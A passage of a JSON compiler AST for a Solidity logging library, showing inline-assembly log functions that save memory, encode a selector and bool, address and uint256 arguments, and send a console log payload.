{"id":39179,"name":"bytes32","nodeType":"ElementaryTypeName","src":"165604:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39181,"nodeType":"VariableDeclarationStatement","src":"165604:10:22"},{"assignments":[39183],"declarations":[{"constant":false,"id":39183,"mutability":"mutable","name":"m3","nameLocation":"165632:2:22","nodeType":"VariableDeclaration","scope":39195,"src":"165624:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39182,"name":"bytes32","nodeType":"ElementaryTypeName","src":"165624:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39184,"nodeType":"VariableDeclarationStatement","src":"165624:10:22"},{"assignments":[39186],"declarations":[{"constant":false,"id":39186,"mutability":"mutable","name":"m4","nameLocation":"165652:2:22","nodeType":"VariableDeclaration","scope":39195,"src":"165644:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39185,"name":"bytes32","nodeType":"ElementaryTypeName","src":"165644:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39187,"nodeType":"VariableDeclarationStatement","src":"165644:10:22"},{"AST":{"nativeSrc":"165673:378:22","nodeType":"YulBlock","src":"165673:378:22","statements":[{"nativeSrc":"165687:17:22","nodeType":"YulAssignment","src":"165687:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"165699:4:22","nodeType":"YulLiteral","src":"165699:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"165693:5:22","nodeType":"YulIdentifier","src":"165693:5:22"},"nativeSrc":"165693:11:22","nodeType":"YulFunctionCall","src":"165693:11:22"},"variableNames":[{"name":"m0","nativeSrc":"165687:2:22","nodeType":"YulIdentifier","src":"165687:2:22"}]},{"nativeSrc":"165717:17:22","nodeType":"YulAssignment","src":"165717:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"165729:4:22","nodeType":"YulLiteral","src":"165729:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"165723:5:22","nodeType":"YulIdentifier","src":"165723:5:22"},"nativeSrc":"165723:11:22","nodeType":"YulFunctionCall","src":"165723:11:22"},"variableNames":[{"name":"m1","nativeSrc":"165717:2:22","nodeType":"YulIdentifier","src":"165717:2:22"}]},{"nativeSrc":"165747:17:22","nodeType":"YulAssignment","src":"165747:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"165759:4:22","nodeType":"YulLiteral","src":"165759:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"165753:5:22","nodeType":"YulIdentifier","src":"165753:5:22"},"nativeSrc":"165753:11:22","nodeType":"YulFunctionCall","src":"165753:11:22"},"variableNames":[{"name":"m2","nativeSrc":"165747:2:22","nodeType":"YulIdentifier","src":"165747:2:22"}]},{"nativeSrc":"165777:17:22","nodeType":"YulAssignment","src":"165777:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"165789:4:22","nodeType":"YulLiteral","src":"165789:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"165783:5:22","nodeType":"YulIdentifier","src":"165783:5:22"},"nativeSrc":"165783:11:22","nodeType":"YulFunctionCall","src":"165783:11:22"},"variableNames":[{"name":"m3","nativeSrc":"165777:2:22","nodeType":"YulIdentifier","src":"165777:2:22"}]},{"nativeSrc":"165807:17:22","nodeType":"YulAssignment","src":"165807:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"165819:4:22","nodeType":"YulLiteral","src":"165819:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"165813:5:22","nodeType":"YulIdentifier","src":"165813:5:22"},"nativeSrc":"165813:11:22","nodeType":"YulFunctionCall","src":"165813:11:22"},"variableNames":[{"name":"m4","nativeSrc":"165807:2:22","nodeType":"YulIdentifier","src":"165807:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165908:4:22","nodeType":"YulLiteral","src":"165908:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"165914:10:22","nodeType":"YulLiteral","src":"165914:10:22","type":"","value":"0x7bf181a1"}],"functionName":{"name":"mstore","nativeSrc":"165901:6:22","nodeType":"YulIdentifier","src":"165901:6:22"},"nativeSrc":"165901:24:22","nodeType":"YulFunctionCall","src":"165901:24:22"},"nativeSrc":"165901:24:22","nodeType":"YulExpressionStatement","src":"165901:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165945:4:22","nodeType":"YulLiteral","src":"165945:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"165951:2:22","nodeType":"YulIdentifier","src":"165951:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165938:6:22","nodeType":"YulIdentifier","src":"165938:6:22"},"nativeSrc":"165938:16:22","nodeType":"YulFunctionCall","src":"165938:16:22"},"nativeSrc":"165938:16:22","nodeType":"YulExpressionStatement","src":"165938:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"165974:4:22","nodeType":"YulLiteral","src":"165974:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"165980:2:22","nodeType":"YulIdentifier","src":"165980:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165967:6:22","nodeType":"YulIdentifier","src":"165967:6:22"},"nativeSrc":"165967:16:22","nodeType":"YulFunctionCall","src":"165967:16:22"},"nativeSrc":"165967:16:22","nodeType":"YulExpressionStatement","src":"165967:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"166003:4:22","nodeType":"YulLiteral","src":"166003:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"166009:2:22","nodeType":"YulIdentifier","src":"166009:2:22"}],"functionName":{"name":"mstore","nativeSrc":"165996:6:22","nodeType":"YulIdentifier","src":"165996:6:22"},"nativeSrc":"165996:16:22","nodeType":"YulFunctionCall","src":"165996:16:22"},"nativeSrc":"165996:16:22","nodeType":"YulExpressionStatement","src":"165996:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"166032:4:22","nodeType":"YulLiteral","src":"166032:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"166038:2:22","nodeType":"YulIdentifier","src":"166038:2:22"}],"functionName":{"name":"mstore","nativeSrc":"166025:6:22","nodeType":"YulIdentifier","src":"166025:6:22"},"nativeSrc":"166025:16:22","nodeType":"YulFunctionCall","src":"166025:16:22"},"nativeSrc":"166025:16:22","nodeType":"YulExpressionStatement","src":"166025:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39174,"isOffset":false,"isSlot":false,"src":"165687:2:22","valueSize":1},{"declaration":39177,"isOffset":false,"isSlot":false,"src":"165717:2:22","valueSize":1},{"declaration":39180,"isOffset":false,"isSlot":false,"src":"165747:2:22","valueSize":1},{"declaration":39183,"isOffset":false,"isSlot":false,"src":"165777:2:22","valueSize":1},{"declaration":39186,"isOffset":false,"isSlot":false,"src":"165807:2:22","valueSize":1},{"declaration":39164,"isOffset":false,"isSlot":false,"src":"165951:2:22","valueSize":1},{"declaration":39166,"isOffset":false,"isSlot":false,"src":"165980:2:22","valueSize":1},{"declaration":39168,"isOffset":false,"isSlot":false,"src":"166009:2:22","valueSize":1},{"declaration":39170,"isOffset":false,"isSlot":false,"src":"166038:2:22","valueSize":1}],"id":39188,"nodeType":"InlineAssembly","src":"165664:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39190,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"166076:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39191,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"166082:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39189,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"166060:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39192,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"166060:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39193,"nodeType":"ExpressionStatement","src":"166060:27:22"},{"AST":{"nativeSrc":"166106:156:22","nodeType":"YulBlock","src":"166106:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"166127:4:22","nodeType":"YulLiteral","src":"166127:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"166133:2:22","nodeType":"YulIdentifier","src":"166133:2:22"}],"functionName":{"name":"mstore","nativeSrc":"166120:6:22","nodeType":"YulIdentifier","src":"166120:6:22"},"nativeSrc":"166120:16:22","nodeType":"YulFunctionCall","src":"166120:16:22"},"nativeSrc":"166120:16:22","nodeType":"YulExpressionStatement","src":"166120:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"166156:4:22","nodeType":"YulLiteral","src":"166156:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"166162:2:22","nodeType":"YulIdentifier","src":"166162:2:22"}],"functionName":{"name":"mstore","nativeSrc":"166149:6:22","nodeType":"YulIdentifier","src":"166149:6:22"},"nativeSrc":"166149:16:22","nodeType":"YulFunctionCall","src":"166149:16:22"},"nativeSrc":"166149:16:22","nodeType":"YulExpressionStatement","src":"166149:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"166185:4:22","nodeType":"YulLiteral","src":"166185:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"166191:2:22","nodeType":"YulIdentifier","src":"166191:2:22"}],"functionName":{"name":"mstore","nativeSrc":"166178:6:22","nodeType":"YulIdentifier","src":"166178:6:22"},"nativeSrc":"166178:16:22","nodeType":"YulFunctionCall","src":"166178:16:22"},"nativeSrc":"166178:16:22","nodeType":"YulExpressionStatement","src":"166178:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"166214:4:22","nodeType":"YulLiteral","src":"166214:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"166220:2:22","nodeType":"YulIdentifier","src":"166220:2:22"}],"functionName":{"name":"mstore","nativeSrc":"166207:6:22","nodeType":"YulIdentifier","src":"166207:6:22"},"nativeSrc":"166207:16:22","nodeType":"YulFunctionCall","src":"166207:16:22"},"nativeSrc":"166207:16:22","nodeType":"YulExpressionStatement","src":"166207:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"166243:4:22","nodeType":"YulLiteral","src":"166243:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"166249:2:22","nodeType":"YulIdentifier","src":"166249:2:22"}],"functionName":{"name":"mstore","nativeSrc":"166236:6:22","nodeType":"YulIdentifier","src":"166236:6:22"},"nativeSrc":"166236:16:22","nodeType":"YulFunctionCall","src":"166236:16:22"},"nativeSrc":"166236:16:22","nodeType":"YulExpressionStatement","src":"166236:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39174,"isOffset":false,"isSlot":false,"src":"166133:2:22","valueSize":1},{"declaration":39177,"isOffset":false,"isSlot":false,"src":"166162:2:22","valueSize":1},{"declaration":39180,"isOffset":false,"isSlot":false,"src":"166191:2:22","valueSize":1},{"declaration":39183,"isOffset":false,"isSlot":false,"src":"166220:2:22","valueSize":1},{"declaration":39186,"isOffset":false,"isSlot":false,"src":"166249:2:22","valueSize":1}],"id":39194,"nodeType":"InlineAssembly","src":"166097:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"165491:3:22","parameters":{"id":39171,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39164,"mutability":"mutable","name":"p0","nameLocation":"165500:2:22","nodeType":"VariableDeclaration","scope":39196,"src":"165495:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39163,"name":"bool","nodeType":"ElementaryTypeName","src":"165495:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39166,"mutability":"mutable","name":"p1","nameLocation":"165512:2:22","nodeType":"VariableDeclaration","scope":39196,"src":"165504:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39165,"name":"address","nodeType":"ElementaryTypeName","src":"165504:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39168,"mutability":"mutable","name":"p2","nameLocation":"165524:2:22","nodeType":"VariableDeclaration","scope":39196,"src":"165516:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39167,"name":"uint256","nodeType":"ElementaryTypeName","src":"165516:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":39170,"mutability":"mutable","name":"p3","nameLocation":"165536:2:22","nodeType":"VariableDeclaration","scope":39196,"src":"165528:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39169,"name":"uint256","nodeType":"ElementaryTypeName","src":"165528:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"165494:45:22"},"returnParameters":{"id":39172,"nodeType":"ParameterList","parameters":[],"src":"165554:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39236,"nodeType":"FunctionDefinition","src":"166274:1334:22","nodes":[],"body":{"id":39235,"nodeType":"Block","src":"166346:1262:22","nodes":[],"statements":[{"assignments":[39208],"declarations":[{"constant":false,"id":39208,"mutability":"mutable","name":"m0","nameLocation":"166364:2:22","nodeType":"VariableDeclaration","scope":39235,"src":"166356:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39207,"name":"bytes32","nodeType":"ElementaryTypeName","src":"166356:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39209,"nodeType":"VariableDeclarationStatement","src":"166356:10:22"},{"assignments":[39211],"declarations":[{"constant":false,"id":39211,"mutability":"mutable","name":"m1","nameLocation":"166384:2:22","nodeType":"VariableDeclaration","scope":39235,"src":"166376:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39210,"name":"bytes32","nodeType":"ElementaryTypeName","src":"166376:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39212,"nodeType":"VariableDeclarationStatement","src":"166376:10:22"},{"assignments":[39214],"declarations":[{"constant":false,"id":39214,"mutability":"mutable","name":"m2","nameLocation":"166404:2:22","nodeType":"VariableDeclaration","scope":39235,"src":"166396:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39213,"name":"bytes32","nodeType":"ElementaryTypeName","src":"166396:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39215,"nodeType":"VariableDeclarationStatement","src":"166396:10:22"},{"assignments":[39217],"declarations":[{"constant":false,"id":39217,"mutability":"mutable","name":"m3","nameLocation":"166424:2:22","nodeType":"VariableDeclaration","scope":39235,"src":"166416:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39216,"name":"bytes32","nodeType":"ElementaryTypeName","src":"166416:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39218,"nodeType":"VariableDeclarationStatement","src":"166416:10:22"},{"assignments":[39220],"declarations":[{"constant":false,"id":39220,"mutability":"mutable","name":"m4","nameLocation":"166444:2:22","nodeType":"VariableDeclaration","scope":39235,"src":"166436:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39219,"name":"bytes32","nodeType":"ElementaryTypeName","src":"166436:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39221,"nodeType":"VariableDeclarationStatement","src":"166436:10:22"},{"assignments":[39223],"declarations":[{"constant":false,"id":39223,"mutability":"mutable","name":"m5","nameLocation":"166464:2:22","nodeType":"VariableDeclaration","scope":39235,"src":"166456:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39222,"name":"bytes32","nodeType":"ElementaryTypeName","src":"166456:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39224,"nodeType":"VariableDeclarationStatement","src":"166456:10:22"},{"assignments":[39226],"declarations":[{"constant":false,"id":39226,"mutability":"mutable","name":"m6","nameLocation":"166484:2:22","nodeType":"VariableDeclaration","scope":39235,"src":"166476:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39225,"name":"bytes32","nodeType":"ElementaryTypeName","src":"166476:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39227,"nodeType":"VariableDeclarationStatement","src":"166476:10:22"},{"AST":{"nativeSrc":"166505:828:22","nodeType":"YulBlock","src":"166505:828:22","statements":[{"body":{"nativeSrc":"166548:313:22","nodeType":"YulBlock","src":"166548:313:22","statements":[{"nativeSrc":"166566:15:22","nodeType":"YulVariableDeclaration","src":"166566:15:22","value":{"kind":"number","nativeSrc":"166580:1:22","nodeType":"YulLiteral","src":"166580:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"166570:6:22","nodeType":"YulTypedName","src":"166570:6:22","type":""}]},{"body":{"nativeSrc":"166651:40:22","nodeType":"YulBlock","src":"166651:40:22","statements":[{"body":{"nativeSrc":"166680:9:22","nodeType":"YulBlock","src":"166680:9:22","statements":[{"nativeSrc":"166682:5:22","nodeType":"YulBreak","src":"166682:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"166668:6:22","nodeType":"YulIdentifier","src":"166668:6:22"},{"name":"w","nativeSrc":"166676:1:22","nodeType":"YulIdentifier","src":"166676:1:22"}],"functionName":{"name":"byte","nativeSrc":"166663:4:22","nodeType":"YulIdentifier","src":"166663:4:22"},"nativeSrc":"166663:15:22","nodeType":"YulFunctionCall","src":"166663:15:22"}],"functionName":{"name":"iszero","nativeSrc":"166656:6:22","nodeType":"YulIdentifier","src":"166656:6:22"},"nativeSrc":"166656:23:22","nodeType":"YulFunctionCall","src":"166656:23:22"},"nativeSrc":"166653:36:22","nodeType":"YulIf","src":"166653:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"166608:6:22","nodeType":"YulIdentifier","src":"166608:6:22"},{"kind":"number","nativeSrc":"166616:4:22","nodeType":"YulLiteral","src":"166616:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"166605:2:22","nodeType":"YulIdentifier","src":"166605:2:22"},"nativeSrc":"166605:16:22","nodeType":"YulFunctionCall","src":"166605:16:22"},"nativeSrc":"166598:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"166622:28:22","nodeType":"YulBlock","src":"166622:28:22","statements":[{"nativeSrc":"166624:24:22","nodeType":"YulAssignment","src":"166624:24:22","value":{"arguments":[{"name":"length","nativeSrc":"166638:6:22","nodeType":"YulIdentifier","src":"166638:6:22"},{"kind":"number","nativeSrc":"166646:1:22","nodeType":"YulLiteral","src":"166646:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"166634:3:22","nodeType":"YulIdentifier","src":"166634:3:22"},"nativeSrc":"166634:14:22","nodeType":"YulFunctionCall","src":"166634:14:22"},"variableNames":[{"name":"length","nativeSrc":"166624:6:22","nodeType":"YulIdentifier","src":"166624:6:22"}]}]},"pre":{"nativeSrc":"166602:2:22","nodeType":"YulBlock","src":"166602:2:22","statements":[]},"src":"166598:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"166715:3:22","nodeType":"YulIdentifier","src":"166715:3:22"},{"name":"length","nativeSrc":"166720:6:22","nodeType":"YulIdentifier","src":"166720:6:22"}],"functionName":{"name":"mstore","nativeSrc":"166708:6:22","nodeType":"YulIdentifier","src":"166708:6:22"},"nativeSrc":"166708:19:22","nodeType":"YulFunctionCall","src":"166708:19:22"},"nativeSrc":"166708:19:22","nodeType":"YulExpressionStatement","src":"166708:19:22"},{"nativeSrc":"166744:37:22","nodeType":"YulVariableDeclaration","src":"166744:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"166761:3:22","nodeType":"YulLiteral","src":"166761:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"166770:1:22","nodeType":"YulLiteral","src":"166770:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"166773:6:22","nodeType":"YulIdentifier","src":"166773:6:22"}],"functionName":{"name":"shl","nativeSrc":"166766:3:22","nodeType":"YulIdentifier","src":"166766:3:22"},"nativeSrc":"166766:14:22","nodeType":"YulFunctionCall","src":"166766:14:22"}],"functionName":{"name":"sub","nativeSrc":"166757:3:22","nodeType":"YulIdentifier","src":"166757:3:22"},"nativeSrc":"166757:24:22","nodeType":"YulFunctionCall","src":"166757:24:22"},"variables":[{"name":"shift","nativeSrc":"166748:5:22","nodeType":"YulTypedName","src":"166748:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"166809:3:22","nodeType":"YulIdentifier","src":"166809:3:22"},{"kind":"number","nativeSrc":"166814:4:22","nodeType":"YulLiteral","src":"166814:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"166805:3:22","nodeType":"YulIdentifier","src":"166805:3:22"},"nativeSrc":"166805:14:22","nodeType":"YulFunctionCall","src":"166805:14:22"},{"arguments":[{"name":"shift","nativeSrc":"166825:5:22","nodeType":"YulIdentifier","src":"166825:5:22"},{"arguments":[{"name":"shift","nativeSrc":"166836:5:22","nodeType":"YulIdentifier","src":"166836:5:22"},{"name":"w","nativeSrc":"166843:1:22","nodeType":"YulIdentifier","src":"166843:1:22"}],"functionName":{"name":"shr","nativeSrc":"166832:3:22","nodeType":"YulIdentifier","src":"166832:3:22"},"nativeSrc":"166832:13:22","nodeType":"YulFunctionCall","src":"166832:13:22"}],"functionName":{"name":"shl","nativeSrc":"166821:3:22","nodeType":"YulIdentifier","src":"166821:3:22"},"nativeSrc":"166821:25:22","nodeType":"YulFunctionCall","src":"166821:25:22"}],"functionName":{"name":"mstore","nativeSrc":"166798:6:22","nodeType":"YulIdentifier","src":"166798:6:22"},"nativeSrc":"166798:49:22","nodeType":"YulFunctionCall","src":"166798:49:22"},"nativeSrc":"166798:49:22","nodeType":"YulExpressionStatement","src":"166798:49:22"}]},"name":"writeString","nativeSrc":"166519:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"166540:3:22","nodeType":"YulTypedName","src":"166540:3:22","type":""},{"name":"w","nativeSrc":"166545:1:22","nodeType":"YulTypedName","src":"166545:1:22","type":""}],"src":"166519:342:22"},{"nativeSrc":"166874:17:22","nodeType":"YulAssignment","src":"166874:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"166886:4:22","nodeType":"YulLiteral","src":"166886:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"166880:5:22","nodeType":"YulIdentifier","src":"166880:5:22"},"nativeSrc":"166880:11:22","nodeType":"YulFunctionCall","src":"166880:11:22"},"variableNames":[{"name":"m0","nativeSrc":"166874:2:22","nodeType":"YulIdentifier","src":"166874:2:22"}]},{"nativeSrc":"166904:17:22","nodeType":"YulAssignment","src":"166904:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"166916:4:22","nodeType":"YulLiteral","src":"166916:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"166910:5:22","nodeType":"YulIdentifier","src":"166910:5:22"},"nativeSrc":"166910:11:22","nodeType":"YulFunctionCall","src":"166910:11:22"},"variableNames":[{"name":"m1","nativeSrc":"166904:2:22","nodeType":"YulIdentifier","src":"166904:2:22"}]},{"nativeSrc":"166934:17:22","nodeType":"YulAssignment","src":"166934:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"166946:4:22","nodeType":"YulLiteral","src":"166946:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"166940:5:22","nodeType":"YulIdentifier","src":"166940:5:22"},"nativeSrc":"166940:11:22","nodeType":"YulFunctionCall","src":"166940:11:22"},"variableNames":[{"name":"m2","nativeSrc":"166934:2:22","nodeType":"YulIdentifier","src":"166934:2:22"}]},{"nativeSrc":"166964:17:22","nodeType":"YulAssignment","src":"166964:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"166976:4:22","nodeType":"YulLiteral","src":"166976:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"166970:5:22","nodeType":"YulIdentifier","src":"166970:5:22"},"nativeSrc":"166970:11:22","nodeType":"YulFunctionCall","src":"166970:11:22"},"variableNames":[{"name":"m3","nativeSrc":"166964:2:22","nodeType":"YulIdentifier","src":"166964:2:22"}]},{"nativeSrc":"166994:17:22","nodeType":"YulAssignment","src":"166994:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"167006:4:22","nodeType":"YulLiteral","src":"167006:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"167000:5:22","nodeType":"YulIdentifier","src":"167000:5:22"},"nativeSrc":"167000:11:22","nodeType":"YulFunctionCall","src":"167000:11:22"},"variableNames":[{"name":"m4","nativeSrc":"166994:2:22","nodeType":"YulIdentifier","src":"166994:2:22"}]},{"nativeSrc":"167024:17:22","nodeType":"YulAssignment","src":"167024:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"167036:4:22","nodeType":"YulLiteral","src":"167036:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"167030:5:22","nodeType":"YulIdentifier","src":"167030:5:22"},"nativeSrc":"167030:11:22","nodeType":"YulFunctionCall","src":"167030:11:22"},"variableNames":[{"name":"m5","nativeSrc":"167024:2:22","nodeType":"YulIdentifier","src":"167024:2:22"}]},{"nativeSrc":"167054:17:22","nodeType":"YulAssignment","src":"167054:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"167066:4:22","nodeType":"YulLiteral","src":"167066:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"167060:5:22","nodeType":"YulIdentifier","src":"167060:5:22"},"nativeSrc":"167060:11:22","nodeType":"YulFunctionCall","src":"167060:11:22"},"variableNames":[{"name":"m6","nativeSrc":"167054:2:22","nodeType":"YulIdentifier","src":"167054:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167154:4:22","nodeType":"YulLiteral","src":"167154:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"167160:10:22","nodeType":"YulLiteral","src":"167160:10:22","type":"","value":"0x51f09ff8"}],"functionName":{"name":"mstore","nativeSrc":"167147:6:22","nodeType":"YulIdentifier","src":"167147:6:22"},"nativeSrc":"167147:24:22","nodeType":"YulFunctionCall","src":"167147:24:22"},"nativeSrc":"167147:24:22","nodeType":"YulExpressionStatement","src":"167147:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167191:4:22","nodeType":"YulLiteral","src":"167191:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"167197:2:22","nodeType":"YulIdentifier","src":"167197:2:22"}],"functionName":{"name":"mstore","nativeSrc":"167184:6:22","nodeType":"YulIdentifier","src":"167184:6:22"},"nativeSrc":"167184:16:22","nodeType":"YulFunctionCall","src":"167184:16:22"},"nativeSrc":"167184:16:22","nodeType":"YulExpressionStatement","src":"167184:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167220:4:22","nodeType":"YulLiteral","src":"167220:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"167226:2:22","nodeType":"YulIdentifier","src":"167226:2:22"}],"functionName":{"name":"mstore","nativeSrc":"167213:6:22","nodeType":"YulIdentifier","src":"167213:6:22"},"nativeSrc":"167213:16:22","nodeType":"YulFunctionCall","src":"167213:16:22"},"nativeSrc":"167213:16:22","nodeType":"YulExpressionStatement","src":"167213:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167249:4:22","nodeType":"YulLiteral","src":"167249:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"167255:2:22","nodeType":"YulIdentifier","src":"167255:2:22"}],"functionName":{"name":"mstore","nativeSrc":"167242:6:22","nodeType":"YulIdentifier","src":"167242:6:22"},"nativeSrc":"167242:16:22","nodeType":"YulFunctionCall","src":"167242:16:22"},"nativeSrc":"167242:16:22","nodeType":"YulExpressionStatement","src":"167242:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"167278:4:22","nodeType":"YulLiteral","s